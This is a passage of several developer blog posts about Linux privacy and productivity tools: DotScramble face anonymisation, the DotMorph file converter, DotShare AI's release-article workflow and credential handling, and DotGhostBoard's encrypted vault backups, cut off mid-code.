Detect preview. Before anything changes, every region it found is outlined. Click one to skip it, so with several people in a photo you protect exactly the ones you choose. The status bar says "3 of 4 regions will be hidden".
Compare. A before / after split view with a draggable divider (that's the GIF at the top).

It also refuses to pretend. If detection can't run (say, OpenCV's cascade files are missing), you get an error, never a "done" with the face still visible.

The metadata you can't see

Every photo from a phone carries EXIF data: GPS coordinates, camera make and model, timestamps, sometimes a device fingerprint. DotScramble handles it on save:

Keep it,
Strip GPS, camera and device tags,
or replace them with believable decoys (three presets, or set each field yourself).

Before the file is written, a report lists every field that will be kept, removed or replaced, so there are no surprises.

AI Evasion

A blurred face is unreadable to people, but face detectors can often still find it, and a face software can find can be indexed and matched. AI Evasion adds a small, optimised pattern of noise to the face region (a black-box SPSA optimisation against the detector) until the detector no longer finds a face there.

Hybrid blurs the face for people and hides it from the detector.
Invisible leaves the face looking the same, and only fools the detector.
It takes about 30–90 seconds per face on the CPU, and it reports the result honestly: complete, partial (with the evasion rate) or failed.

To be clear about the limits: the pattern is tuned against the detector DotScramble itself uses (MediaPipe). It is not a guarantee against every face recognition system, so treat it as an extra layer on top of a visible effect, not a replacement.

Also in the box

Batch processing for whole folders, with a per-file error report.
Zoom and pan, live preview, presets, undo and redo.
7 languages: English, العربية, فارسی, Español, Русский, Deutsch and Türkçe, with right-to-left layouts and correct plural forms in every one of them.
16 themes; every dialog follows the one you pick.
Signed updates: the built-in updater checks the checksum and the GPG signature before installing anything.

Free and Pro

Everything you need to hide faces is free: all seven effects, Detect preview, Compare, zoom, face and eye detection (OpenCV Haar cascades), manual regions and batches of three images.

The optional Pro plan (DotScramble Max on dotsuite.dev) adds AI face ovals and eye bars (MediaPipe), full bodies, license plates, text and single-word detection, AI Evasion, the metadata tools and unlimited batches.

Install

Grab one of these from the releases page:

# AppImage: any distribution, no install
chmod +x DotScramble-Linux-x86_64.AppImage && ./DotScramble-Linux-x86_64.AppImage

# Debian, Ubuntu, Kali, Mint
sudo apt install ./DotScramble-Linux-x86_64.deb

# Arch, Manjaro
sudo pacman -U DotScramble-Linux-x86_64.pkg.tar.zst

# optional, for the text and word modes
sudo apt install tesseract-ocr

There's also a portable .tar.gz, and it runs from source with Python 3.10+. Every release ships SHA256SUMS and a detached GPG signature for each package, so you can check what you downloaded:

sha256sum -c SHA256SUMS --ignore-missing
gpg --import DotScramble-signing-key.asc
gpg --verify DotScramble-Linux-x86_64.AppImage.asc DotScramble-Linux-x86_64.AppImage

DotScramble is also on AppImageHub and OpenDesktop. The AppImage carries update information, so AppImageUpdate and Gear Lever can update it too.

What goes online

Your photos never leave your computer. The app only connects to GitHub (to check for updates and the supported-version policy), to dotsuite.dev (to activate or re-check Pro), and, the first time you use a Pro AI feature and only if you agree, to Google's storage to download the MediaPipe face model (about 8 MB).

Honest limitations

Linux x86_64 only, and the packages need glibc 2.35+ (Ubuntu 22.04, Debian 12, Fedora 36 and newer). Older systems can run it from source. No Windows or macOS builds yet.
The text and word modes need Tesseract installed.
AI Evasion is slow (30–90 s per face on the CPU) and is tested against one detector, not all of them.
Save AI-evaded images as PNG: JPEG compression can weaken the pattern.

Try it

If you try it, I'd love to know what you hide most, and what's missing.

GitHub: kareem2099/DotScramble
Project page: dotsuite.dev/en/product/dotscramble
Also on: AppImageHub · OpenDesktop

I built a radial menu that converts any file on Linux

freerave — Sat, 24 Oct 2026 10:31:27 +0000

DotMorph: right-click a file, a wheel blooms, pick a format. 440+ local conversions for images, PDF, SVG, video, audio and Office files, from your file manager, a hotkey or a screen edge.

Right-click a file. A wheel blooms around it. Pick a format. Done.

That is the whole idea behind DotMorph, a file converter for Linux that lives in a radial menu instead of a window. It does 440+ conversions (images, PDF, SVG, video, audio, Office documents, Markdown) and everything happens on your machine. It's free, open source (Apache 2.0) and part of DotSuite, my collection of developer tools.

This is the first of four posts. This one is the tour; the next three are about how it's built.

Why another converter?

Converting a file on Linux usually goes one of three ways:

You remember (or search for) the right ffmpeg / magick / libreoffice --headless incantation.
You install a big GUI app, open it, find the file again, pick a format from a dropdown.
You upload your file to some random website and hope it isn't keeping a copy.

On Windows there's a nice pattern for this: converters that sit in the right-click menu. I wanted that on Linux, and I wanted it to feel like a tool, not a form. So: a wheel that appears where you are, shows only what makes sense for the file you picked, and gets out of the way.

What it converts

DotMorph doesn't reimplement codecs. It drives the tools that are already the best at each job, and only offers what your machine can actually do:

Files	Examples	Done by
Images	PNG, JPG, WebP, AVIF, HEIC, GIF, TIFF, ICO, PSD, XCF, JPEG XL	Pillow, ImageMagick
SVG	→ PNG, WebP, … and vector PDF	librsvg (via ctypes)
PDF	→ images (one per page), → text, compress, merge	poppler, Ghostscript
Video	MP4, MKV, WebM, MOV, AVI, … ↔ each other, → GIF, → audio	ffmpeg
Audio	MP3, M4A, OGG, Opus, FLAC, WAV, AAC	ffmpeg
Documents	DOCX, ODT, PPTX, XLSX, … → PDF and between Office formats	LibreOffice (headless)
Text	Markdown, HTML, reST, Org, EPUB ↔ DOCX, ODT, EPUB, PDF	pandoc

Plus tools that keep the format: compress (never returns a bigger file), resize, rotate, strip metadata (EXIF, GPS, tags), mute a video, merge images and PDFs into one PDF.

On a machine with everything installed that's 53 formats, 6 tools and 440+ conversions. If a tool is missing, its conversions simply don't show up, and dotmorph doctor tells you which package to install for apt, dnf, pacman or zypper.

Many ways in, one wheel

The wheel opens from wherever you happen to be:

File manager right-click: Nautilus, Thunar, Dolphin and Nemo, with a DotMorph submenu and quick actions (To PNG, To PDF, To MP4, Compress…) that run without any window.
Open with DotMorph in any app that lists launchers.
A global hotkey (Super+Shift+M): copy files in your file manager, press it, the wheel opens with those files.
The edge dock: drag the wheel against the side of the screen and it turns into a slim tab. Hover it and half a wheel slides out, like Android's edge panels. Drop files on it.
Watched folders: dotmorph watch ~/Downloads --to webp converts new files as they land (inotify, run as a systemd user service).
The terminal, for everything above and more.

Thanks to a small background daemon, the wheel opens in about 0.1 s instead of the ~1 s it takes to start Qt. Post 3 is about how that works.

The command line is a first-class citizen

Everything the wheel does, the CLI does too:

dotmorph convert holiday/*.heic --to jpg              # batch, in parallel
dotmorph convert talk.mov --to mp4                    # same codec? stream copy, seconds
dotmorph convert report.docx slides.pptx --to pdf
dotmorph convert photos/*.jpg --preset web            # WebP, ≤1920 px, quality 80, no metadata
dotmorph convert scan.pdf --to compress
dotmorph convert diagram.svg --to pdf                 # stays vector
dotmorph formats video.mp4                            # what can this file become?
dotmorph doctor                                       # what's installed, what's missing

You get a live progress bar, Ctrl-C cancels cleanly, existing files are never overwritten (you get name (1).ext), and half-written files never appear because every job works in a hidden folder and finishes with a rename.

Settings, in English and Arabic

There's a separate settings window: themes (dark, light, glass), pinned and hidden formats, the hotkey recorder, file-manager integration, watch folders, and a page that lists every engine with a "copy install command" button. The whole interface is also available in Arabic, laid out right to left.

Install

pipx install 'dotmorph[gui]'

Or grab the AppImage (one file, no install, and AppImageUpdate can update it), the .deb, or the Arch package from the releases page. Every file is checksummed and GPG-signed.

DotMorph is also on AppImageHub and OpenDesktop, and in the AppImage community catalog that stores like AppImagePool read from.

Then, optionally:

dotmorph integrate          # right-click menus
dotmorph daemon --install   # instant wheel + edge dock at login
dotmorph hotkey             # Super+Shift+M

It needs Python 3.10+ and works on glibc 2.28 and newer (Ubuntu 20.04, Debian 11, RHEL 8 and later).

Honest limitations

On Wayland the wheel runs through XWayland, so it can stay on top and be placed. A native layer-shell version is planned.
The hotkey is registered automatically on GNOME and Xfce; on other desktops dotmorph hotkey prints the command to bind yourself.
The AppImage is x86_64 only for now.
LibreOffice conversions run one at a time (a limitation of its profile).

What's next in this series

This post: the tour.
The engine: eight backends behind one interface, safe output, cancelling, and the SVG bug that started the whole rewrite.
The wheel: QML, GPU-drawn ring sectors, particles, a 0.1 s daemon and the edge dock.
Shipping it: PyPI, AppImage, .deb, Arch and AUR from one signed tag, and why the AppImage went from 109 MB to 73 MB.

If you try it, I'd love to hear what you convert most, and what's missing.

GitHub: kareem2099/DotMorph
Project page: dotsuite.dev/en/product/dotmorph
Also on: PyPI · AppImageHub · OpenDesktop

DotShare AI 3.5.2: From Git Tags to Technical Articles You Can Review

freerave — Thu, 08 Oct 2026 10:51:14 +0000

A deep dive into DotShare 3.5.2: release-aware AI articles, verified code excerpts, Dev.to live preview, and safer credential handling.

An AI release article can sound convincing while describing code that never shipped.

The failure is often subtle: a changelog comes from one version, source code comes from today's checkout, and an example gets rewritten into something that looks cleaner but no longer matches the implementation. By the time the article reaches the publishing screen, the facts have already drifted.

DotShare AI 3.5.2 makes release selection, implementation evidence, and article review part of the writing workflow. It adds a dedicated Dev.to article experience, strengthens the generation pipeline, and revises how credentials move between the extension host, its webviews, and the CLI.

The work behind this update spans 65 changed or new files, including implementation, tests, documentation, dependency manifests, and build configuration. The useful result is what those changes let a developer do: choose a version, generate a technical draft from that version, inspect its formatting and code, and publish with a clearer understanding of what was checked.

What changes in the daily workflow?

DotShare already brings social and blog publishing into the editor. Version 3.5.2 expands the technical writing side of that workflow:

Area	Behavior in this update
Release selection	Choose a committed release, current committed work at HEAD, or tracked uncommitted changes explicitly.
Implementation context	Read release material from one resolved commit and include source excerpts with file and line information.
Article generation	Generate a Markdown draft with metadata, validate it, and use a bounded repair pass when needed.
Code examples	Verify excerpts against supplied source or documentation; flag and omit remaining unverifiable examples when the rest of the draft passes.
Dev.to review	Preview the title, description, tags, and rendered body together.
Saved credentials	Show 🔒 Key Saved & Active, with an empty replacement field available on demand.
CLI configuration	Store supported platform credentials in the OS credential store and keep preferences in the configuration file.

The developer still owns the final editorial decision. The checks make specific problems detectable; they do not establish the truth of every sentence an AI writes.

1. A release article needs a consistent version of the project

The first architectural change is the release boundary.

ReleaseRepository resolves the selected Git reference to a commit. That snapshot is then used for metadata, changelog content, release documents, source files, diffs, commits, and dependency comparisons. Reading these inputs from the same snapshot prevents a tagged release article from accidentally describing later local edits.

The distinction becomes visible in the UI:

Committed release describes the selected tagged version.
Current committed work (HEAD) can describe committed changes beyond the latest tag.
Uncommitted changes describes tracked local edits as work in progress.

For example, if a repository contains a v2.1.2 tag and additional edits in the checkout, selecting v2.1.2 keeps those edits out of the release article. Choosing HEAD or uncommitted changes communicates a different scope.

The collector also explains incomplete history. A first tagged release without a previous release tag can include the complete committed tree. In an untagged repository, the committed comparison can be limited to the latest commit. Warnings help the author understand the material behind the draft instead of guessing from the version label.

Context is refreshed before generation, so an earlier modal preview is not silently treated as the final evidence set.

2. Workspace search follows the topic and the release boundary

A useful technical article needs more than the last few commit messages.

The context service can search Git history for terms from the selected topic. It combines commit-message matching with Git pickaxe searches for relevant code changes. Keyword extraction handles English and Arabic input, filtering conversational words so the search can focus on technical terms.

The same selected boundary also governs dependency comparisons. DotShare recognizes manifests for several ecosystems:

Ecosystem	Manifest
Node.js	`package.json`
Rust	`Cargo.toml`
Python	`pyproject.toml`
Go	`go.mod`

That lets an article distinguish a dependency upgrade in the chosen release from an unrelated edit in the current checkout.

Documentation adds another layer. Version-specific release files and relevant architecture or security documents can explain why a change exists. Multiline changelog notes are preserved so their meaning does not collapse into a handful of isolated bullets.

The collector limits document and source budgets and reports truncation. A truncated README is a visible limitation, not evidence that the entire document was reviewed. Architecture notes provide background; roadmap items do not establish that a feature has shipped. A verification document can also contain checks that remain unfinished, and the article should retain that distinction.

Active editor context is optional. A selected fragment can help identify the topic, but a local selection is labeled as a working-tree hint when writing about a committed release. It does not replace source read from the selected commit.

3. Code examples come from implementation excerpts

Technical articles are especially vulnerable to invented examples. A plausible function name or a convincing security check is easy to generate and hard to spot during a quick read.

DotShare now extracts source excerpts around added executable lines. The extractor looks for enclosing declarations and supplies the file path, line range, and whether the excerpt is partial. Ranking uses the release terms, identifiers, and changed code, while supporting helper or lifecycle methods can give a change the context it needs.

This is bounded source extraction using language-aware heuristics. It is not a full compiler analysis of every supported language.

The collector also reduces prompt noise by excluding material such as lockfiles, binary files, minified bundles, and test code from implementation examples. Python handling distinguishes executable changes from docstrings and test-oriented material.

After generation, a separate verifier checks fenced examples. Implementation examples must match a contiguous excerpt from the supplied evidence. Display normalization allows line-ending differences and a uniform dedent while preserving internal indentation, string literals, and the actual statements.

Reconstructing a function, inserting explanatory comments into its body, or joining unrelated pieces into a new example does not satisfy that rule.

Documentation examples and shell commands have their own evidence rules. Commands must be supported by supplied documentation or fit a narrow recognized checkout workflow. Changing a fence label to text does not provide a route around provenance checking.

Code is optional. An article that explains a supported change clearly can be more useful than one padded with an invented implementation.

4. Validation and repair have a defined stopping point

The generation flow has three main stages: create a draft, check detectable problems, and repair when necessary.

ReleaseContentValidator checks problems including:

Empty output and unfinished code fences.
Unsupported fenced code examples.
URLs outside the exact selected call-to-action links.
Source paths that do not appear in supplied evidence.
Certain numeric claims about tests or diff statistics without supporting material.
Missing or invalid Dev.to metadata.
A generated draft that incorrectly sets published: true.
Release prose that mixes in uncommitted work or exposes internal writing instructions.

The service makes at most two generation attempts. A validation problem can trigger one repair using the same evidence. The previous generated draft is identified as untrusted text rather than new evidence.

There is also a bounded recovery path for a response that reaches its output limit. A retry with a larger budget uses the remaining attempt; it does not start an unlimited series of retries and repairs.

Full Dev.to articles begin with a 6,000-token generation budget. The output-limit recovery can increase that budget up to 12,000 tokens. Technical deep dives and shorter posts use smaller budgets appropriate to their format. These are response budgets, not promises of an exact article length.

When an example still cannot be verified

Earlier behavior could end the entire generation flow with a code-validation error even when most of the article was usable.

The revised behavior is more precise. If the second attempt still contains closed, unverifiable code blocks, DotShare can omit those blocks and validate the remaining article again. When that article passes, the author receives a visible warning such as:

Omitted 1 code example(s) that could not be verified against the supplied evidence. Review the surrounding explanation before publishing.

A short standalone introduction to an omitted example can be removed with it. Other prose remains available for review.

The warning matters: removing a code block does not prove the neighboring explanation is correct. An unfinished fence, an unsupported URL, or another unresolved blocking error still prevents a successful result.

5. Provider completion is part of article quality

A successful HTTP request does not necessarily contain a complete article.

This update strengthens response handling across OpenAI, Claude, Gemini, DeepSeek, and xAI. Empty text is rejected, and provider-specific completion signals are checked before returning a draft.

Provider	Completion handling
OpenAI	Detect incomplete Responses API output and distinguish output-limit truncation.
Claude	Combine text blocks and detect token-limit stops or refusal.
Gemini	Check candidate finish reasons, including output-token exhaustion.
DeepSeek	Check completion finish reasons and reject empty content.
xAI	Check completion finish reasons and reject empty content.

Generation requests have explicit timeouts, and SDK retry settings are bounded where configured. The author gets an error for an incomplete response instead of a truncated article presented as finished.

Live model discovery remains the foundation introduced in the previous release. The improvements here build on it with stronger response handling and safer reuse of saved keys. Provider/model request identifiers also help prevent an older asynchronous response from replacing a newer selection in the UI.

6. Dev.to articles arrive as editable Markdown

The Dev.to workflow now has a dedicated DotShare AI Article action and a Full Article (Dev.to) writing tone. The result is Markdown with YAML frontmatter, ready to inspect and edit.

DotShare parses the metadata into separate publisher fields:

Title.
Description.
Tags, normalized and limited to four.
Optional cover image, canonical URL, and series when supplied.

The frontmatter is separated from the article body so the editor does not show metadata as prose. Generated content also receives publishing cleanup, including redundant opening titles and trailing hashtag lines where appropriate.

The article title belongs in the title field. Body sections can start at ##, which keeps the hierarchy consistent with Dev.to's article page. This follows the conventions in the DEV Editor Guide.

Canonical URLs receive special treatment: a repository URL is not automatically used as the article's canonical URL. The repository identifies the project; a canonical URL identifies the original publication of the same article. Authors can add that field when it actually applies.

The publisher retains both draft and publishing choices. Generating text is separate from deciding to publish it.

7. Live Preview includes the whole article header

Reviewing only the Markdown body misses part of the reader's first impression.

The updated Live Preview displays title, description, tags, then the article body, using the current editor values. Changes to the metadata fields update the preview without another AI request. Direction-aware text also helps with Arabic and mixed-language content.

marked renders the body and DOMPurify sanitizes the resulting HTML. The title, description, and tag labels are inserted as text rather than interpreted as HTML. The preview supports familiar Markdown structures such as headings, lists, tables, blockquotes, and fenced code blocks, with code styling suitable for review.

The UI includes word count, character count, and estimated reading time. They help authors judge the size of a draft without treating length as a measure of correctness.

Related webview changes escape content in thread composers, media thumbnails, draft cards, and scheduled-post attributes. Custom publish-button labels also survive UI refreshes.

Links respect the editor's decision

Web links appear blue and can be clicked during review. The webview sends an opening request to the extension host, which accepts ordinary HTTP or HTTPS URLs and calls the editor's external-link API.

This is the implementation in src/services/PreviewLinkService.ts:

export async function openArticlePreviewLink(value: unknown): Promise<boolean> {
    const url = getPreviewWebUrl(value);
    if (!url) return false;
    try {
        // Respect VS Code's result; a refusal must not trigger an alternate opener.
        return await vscode.env.openExternal(vscode.Uri.parse(url));
    } catch {
        return false;
    }
}

If opening is declined or throws an error, the action stops. There is no alternate opener. Local resources and command URLs are not accepted as external article links. In-article anchors are handled within the preview.

8. Saved keys stay on the extension host

Credential storage needed a review across the full workflow: platform configuration, AI model selection, saved API sets, migration, logging, and cleanup.

The extension uses context.secrets for sensitive values. That includes the Dev.to API key and the supported AI-provider keys. The browser-based webviews receive saved-status information instead of stored key values.

The status helper in src/security/credentials.ts returns booleans:

export async function credentialStatus(secrets: vscode.SecretStorage): Promise<Record<string, boolean>> {
    const status: Record<string, boolean> = {};
    for (const key of ALL_SECRET_KEYS) status[key] = !!await secrets.get(key);
    return status;
}

The UI shows 🔒 Key Saved & Active. It does not populate the old key into the field, even as a masked value. Change saved key reveals an empty replacement input, and leaving it blank retains the saved value.

Newly typed replacements necessarily pass through the input while the user is editing them. The important separation is that stored keys are not sent back from the extension host to fill the webview. Successful save acknowledgements clear replacement fields; closing the AI dialog discards pending replacements.

Saved AI keys can be reused for model discovery and generation without retyping them. A successful model-list request alone is not treated as proof that a new key was saved, and save failures do not receive a success acknowledgement.

Saved API configurations follow the same design. The host activates the selected credentials, while the UI gets metadata such as the configuration name and whether credentials are available. Snapshots are created from credentials already held on the host.

A saved key is scoped to its editor

VS Code and a separate editor application such as Antigravity have separate application storage. A key saved by DotShare in VS Code is not automatically available in DotShare running inside another editor.

The same key can be entered and saved in that editor separately. An empty saved-key status there does not, by itself, show that VS Code lost its stored key.

The extension relies on the host's SecretStorage implementation and its available storage backend. VS Code documents its API in the SecretStorage reference and Linux keyring configuration in its credential-storage troubleshooting guidance.

9. Migration and cleanup cover the credential lifecycle

Moving future writes into secure storage is only part of a migration. Older plaintext copies can remain behind.

The update migrates saved API configurations for every supported platform, including Dev.to. When a newer secure copy already exists, it is preserved and the stale legacy copy is removed. When no secure copy exists, the secure write precedes deletion of the old state.

Migration also handles the previous Discord webhook storage name and legacy API keys inside saved model-selection state. Model preferences can remain as preferences without retaining the key in ordinary state.

Local credential clearing covers platform keys, AI keys, GitHub and DotShare account secrets, saved configuration lists, relevant model preferences, and remembered cloud-sync consent. The UI receives cleanup notifications so the displayed state can follow the host.

Local cleanup is not cloud revocation. Credentials previously uploaded for scheduling must be revoked separately through the cloud service. That distinction is now stated in the user-facing security documentation.

10. The CLI stores credentials in the OS credential store

The extension's storage changes also exposed a separate CLI concern: a preferences file should not double as a credential vault.

The CLI now uses @napi-rs/keyring through a dedicated credential-store adapter. Its supported Telegram and LinkedIn credentials are stored under the DotShare CLI service in the native OS credential store.

The JSON configuration file contains preferences such as the server URL and default platforms. It is written through a temporary file and renamed, with a restrictive file mode requested on platforms that honor it. Credentials are read from the credential store when a command needs them.

For older configurations, the migration writes credentials to the native store before replacing the configuration with metadata. An existing secure value takes precedence over an older file copy. If keyring access fails, migration stops without erasing the legacy file or falling back to a new plaintext credential write.

The setter in src/cli/credential-store.ts makes the failure behavior explicit:

    set(platform: string, value: string): void {
        try {
            rememberSecret(value);
            new Entry('DotShare CLI', platform).setPassword(value);
        } catch {
            throw new Error('Could not save credentials in the OS keyring. No plaintext fallback was used.');
        }
    }

CLI logging is separated from VS Code-dependent logging, so command-line diagnostics can use redaction without requiring the editor runtime.

11. Logs and cloud sync have narrower, clearer behavior

This update removes sensitive logging of complete OAuth callback URLs and credential values from the reviewed paths. A shared redaction layer remembers secrets obtained from or written to SecretStorage and masks known values and common token patterns in diagnostic messages. Snippet sanitization also reduces the chance of common credential formats entering external AI requests.

Git commands use execFile with structured argument arrays. That avoids shell interpretation of topic text and path arguments and improves handling of platform-specific quoting. It is a concrete protection for Git subprocess calls, not a general claim that all inputs are safe.

Cloud scheduling has an explicit boundary as well. Credential synchronization checks saved user consent and requires HTTPS before reading local credentials for upload. Consent text explains that the server receives credentials to run scheduled posts.

The security documentation no longer presents unverified backend encryption claims as guarantees. Local SecretStorage protects the local workflow; it does not establish how a deployed server stores its copy.

Redaction and migration also have practical limits. Pattern matching cannot identify every possible secret, historical logs are not automatically rewritten, and removing a local copy does not rotate a token that was previously exposed.

12. The saved-key controls now follow the editor theme

The saved-state design should look deliberate, too.

The Change saved key control now has a dedicated CSS class in both the sidebar and the AI modal. It uses VS Code theme colors, rounded borders, a hover state, and a visible keyboard-focus outline. Hidden controls stay hidden through the CSS rule as well as their UI state.

That fixes the unstyled native button previously shown beside the saved-key badge and makes credential replacement fit the rest of the extension.

13. Build and test changes support the release

The update targets VS Code ^1.90.0, with matching API type definitions. Build, webview type-checking, lint configuration, dependency manifests, and packaging exclusions were adjusted alongside the implementation. Development artifacts and source-only material are excluded from the packaged extension where configured.

The automated suite was rerun for this article: 157 tests passed across 17 suites.

The coverage includes release boundaries and evidence extraction, generation validation and repair, provider completion signals, preview-link handling, credential status and migration, AI-key behavior, redaction, cloud-consent checks, and CLI configuration migration.

Those tests exercise deterministic behavior and mocked integrations. Native keyring persistence across an editor restart, live provider responses, Dev.to publishing, and deployed backend behavior remain separate integration checks. The passing suite is evidence for the tested implementation paths, not a production security certification.

Install or download DotShare

Install from the Visual Studio Marketplace.
Install from Open VSX in editors that use that registry.
Download the latest available VSIX from the Marketplace for manual installation.

To install the downloaded file, open the Extensions view, select Install from VSIX… from its menu, and choose the package. Check that the installed version is 3.5.2 to use the behavior described in this article; the latest version available can differ between registries while an update is being published.

Try the article workflow on a real release

Start with a project that has useful release notes and a committed version to describe:

Save an AI-provider key and choose an available model in DotShare.
Open the Dev.to Article Publisher and select DotShare AI Article.
Choose the release scope and version deliberately.
Enable the relevant changelog and Git sources, and add an optional topic or editor hint.
Choose Full Article (Dev.to), language, selected links, and whether to include verified code excerpts.
Generate the draft and inspect any context or validation warnings.
Review the title, description, tags, links, and body in Live Preview.
Save a Dev.to draft, make the final editorial edits, and publish when ready.

DotShare 3.5.2 puts the version, the evidence, and the draft in the same workflow. It helps authors spend their review time on the actual explanation: what changed, why it matters, and what the implementation supports.

The code is available in the DotShare repository. Which part of writing release articles costs you the most time: finding the changes, explaining the implementation, or preparing the final post?

DotGhostBoard 2.1 'Leviathan' — Cryptographic Vault Backups, Secret Expiry & Password History (Part 2)

freerave — Tue, 06 Oct 2026 13:20:28 +0000

A deep-dive into DotGhostBoard 2.1's security layer: AES-256-GCM .vault backup packages with AAD header authentication, CSPRNG password generation with keyspace entropy, secret expiration tracking, and encrypted version history with safe revert.

Most local password managers have a backup problem: export to unencrypted CSV and you have a plaintext credential dump sitting on your disk. Use proprietary cloud sync and you've handed your secrets to a third party. Neither is acceptable.

In Part 1, we covered the productivity layer of DotGhostBoard 2.1 — smart auto-tagging and contextual clipboard actions running locally in under 1ms for typical payloads (< 5KB).

This part is about security architecture: what happens when you need to safely move, store, expire, and rotate credentials.

Here's what we're covering:

Standalone .vault Encrypted Backup Packages (with AAD header authentication)
CSPRNG Password & Token Generator with Live Keyspace Entropy
Secret Expiry Tracking & Dynamic Warning Badges
Encrypted Password Version History with Safe Revert
Vault-to-Dashboard Plaintext Sweep & Its Practical Boundaries
Unified UX Polish & Ergonomics

1. Encrypted Vault Backups: The `.vault` Package Format

The goal was simple: export your entire Vault as a single portable file that contains zero unencrypted secret bytes — safe to copy to a USB drive, upload to a personal server, or store offsite.

The result is the .vault format (core/security/vault/backup.py), a compact binary package:

+---------------+---------------+---------------+---------------+---------------+
| Magic Header  | Version       | Salt          | Nonce         | Payload + Tag |
| "DGBV"        | 0x01          | 16 bytes      | 12 bytes      | Ciphertext +  |
| (4 bytes)     | (1 byte)      | os.urandom    | AES-GCM       | 16B GCM Tag   |
+---------------+---------------+---------------+---------------+---------------+

The Cryptographic Stack

Layer	Implementation
Cipher	AES-256-GCM (authenticated encryption with AAD)
Key derivation	PBKDF2-HMAC-SHA256, 100,000 rounds
Salt	16-byte random, per-export (`os.urandom(16)`)
Nonce	12-byte random, per-export (`os.urandom(12)`)
Associated Data (AAD)	5-byte header (`MAGIC + VERSION`) authenticated into the GCM tag
Authentication	128-bit GCM tag — tampering with ciphertext, nonce, or header fails cleanly

Here's the core export logic, lightly abbreviated:

# core/security/vault/backup.py (simplified)
import os, json
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

MAGIC   = b"DGBV"
VERSION = b"\x01"
KDF_ITER = 100_000

def export_vault(secrets: list[dict], passphrase: str) -> bytes:
    salt  = os.urandom(16)
    nonce = os.urandom(12)
    header_aad = MAGIC + VERSION

    # Derive 256-bit key from passphrase
    kdf = PBKDF2HMAC(hashes.SHA256(), length=32, salt=salt, iterations=KDF_ITER)
    key = kdf.derive(passphrase.encode())

    # Serialize payload entirely in-memory — never touches disk
    plaintext = json.dumps(secrets, ensure_ascii=False).encode()

    # AES-256-GCM: encrypt payload and authenticate format header via AAD
    ciphertext = AESGCM(key).encrypt(nonce, plaintext, header_aad)

    # Return complete package (16-byte GCM tag is appended to ciphertext by AESGCM)
    return header_aad + salt + nonce + ciphertext

And importing reverses the process — with AEAD integrity verification happening before any payload parsing or database operations:

def import_vault(data: bytes, passphrase: str) -> list[dict]:
    if not data.startswith(MAGIC):
        raise ValueError("Not a valid .vault file")
    if len(data) < 5 or data[4] != 1:
        raise ValueError("Unsupported .vault backup version")

    header_aad = data[:5]
    salt, nonce, ciphertext = data[5:21], data[21:33], data[33:]

    kdf = PBKDF2HMAC(hashes.SHA256(), length=32, salt=salt, iterations=KDF_ITER)
    key = kdf.derive(passphrase.encode())

    # Decrypt and authenticate: raises InvalidTag if ciphertext, passphrase,
    # or header bytes (MAGIC/VERSION) were tampered with
    plaintext = AESGCM(key).decrypt(nonce, ciphertext, header_aad)
    return json.loads(plaintext)

Why Associated Authenticated Data (AAD)?

Passing MAGIC + VERSION as AAD cryptographically binds the cleartext header to the payload's 128-bit authentication tag. Without AAD, an attacker could flip the version byte undetected by the cipher until application-level parsing. With AAD, modifying even a single bit in the header or ciphertext triggers an immediate InvalidTag rejection by the cipher.

What Gets Exported

Everything: active secrets, categories, creation/update timestamps, expiration dates, and the last 3 encrypted version history entries. Full Vault state in one file.

Built-in duplicate skipping (overwrite_existing=False) on import means re-importing an old backup won't create duplicates in your live Vault.

On PBKDF2 iteration count: 100,000 rounds is a responsive baseline across diverse Linux hardware, including low-power ARM boards. Argon2id support and user-configurable iteration scaling are on the v2.2 roadmap.

Figure 1: Standalone .vault backup export dialog showing PBKDF2 passphrase derivation, AES-256-GCM encryption parameters, and live Vault drawer state.

2. CSPRNG Password & Token Generator

Generating credentials inside a clipboard manager means you stay in one tool. No tab-switching to a web generator, no pasting between windows.

The generator is embedded directly inside the Add/Edit Secret dialog (ui/vault/secret_dialog.py):

[ ⚡ Generate Password / Token ]
├── CSPRNG Source: Python secrets module (/dev/urandom)
├── Character Pools: [✓] a-z  [✓] A-Z  [✓] 0-9  [✓] Symbols
├── Length Slider: 8 ──────────●─────── 64  (default: 20)
├── Token Presets: Hex | UUIDv4 | Base64 | Bearer | URL-Safe
└── Entropy Meter: [████████████████████] 131.1 bits — Fort Knox

The Entropy Calculation

Instead of an arbitrary "password strength checklist," we display theoretical keyspace entropy:

H = L × log₂(N)

Where:

L = character length
N = active pool size (e.g., a-z + A-Z + 0-9 + symbols = 94 characters)

# ui/vault/secret_dialog.py (simplified)
import math

def keyspace_entropy(length: int, pool_size: int) -> float:
    """Theoretical bits of entropy for a uniformly random credential."""
    if pool_size < 2:
        return 0.0
    return length * math.log2(pool_size)

def entropy_label(bits: float) -> str:
    if bits < 40:   return "Weak"
    if bits < 60:   return "Moderate"
    if bits < 80:   return "Strong"
    return "Fort Knox"

The meter updates live as you drag the slider or toggle character pools. A 20-character password using the full 94-character pool yields 131.1 bits of keyspace entropy (20 × log₂(94)) — comfortably above the 80–128-bit range generally considered strong for random credentials.

Keyspace entropy across the stack: Both the auto-tagger in Part 1 and the generator here use the same keyspace entropy formula (H = L × log₂(N)). The difference is in application: the auto-tagger estimates the character pool of existing clipboard text to detect high-entropy tokens, while the generator computes the exact strength of newly generated passwords from user-selected pools.

Figure 2: Built-in CSPRNG Password & Token Generator showing character pool toggles, 20-character length slider, and live keyspace entropy evaluation (Strong ~131 bits).

3. Secret Expiry Tracking & Dynamic Badges

Temporary credentials — staging tokens, contractor access keys, short-lived API secrets — have an expiration date. Most password managers ignore this.

DotGhostBoard 2.1 tracks expiry directly in the Vault model (core/security/vault/models.py) and surfaces it visually on each secret card (ui/vault/secret_card.py).

Setting an Expiry Date

In the Add/Edit dialog, you can:

Pick a preset duration: 30 days, 90 days, 180 days, 1 year.
Or pick an exact date via a QDateEdit calendar picker.

The date is stored as an ISO 8601 timestamp string in SQLite. The expiry logic lives in a shared mixin:

# core/security/vault/models.py

from datetime import datetime
from typing import Optional

class _ExpiryMixin:
    expires_at: Optional[str]

    @property
    def is_expired(self) -> bool:
        if not self.expires_at:
            return False
        try:
            exp = datetime.fromisoformat(self.expires_at)
            now = datetime.now(exp.tzinfo) if exp.tzinfo else datetime.now()
            return now > exp
        except Exception:
            # Corrupted timestamp: treated as non-expiring rather than raising in the UI
            return False

    @property
    def days_remaining(self) -> Optional[int]:
        if not self.expires_at:
            return None
        try:
            exp = datetime.fromisoformat(self.expires_at)
            now = datetime.now(exp.tzinfo) if exp.tzinfo else datetime.now()
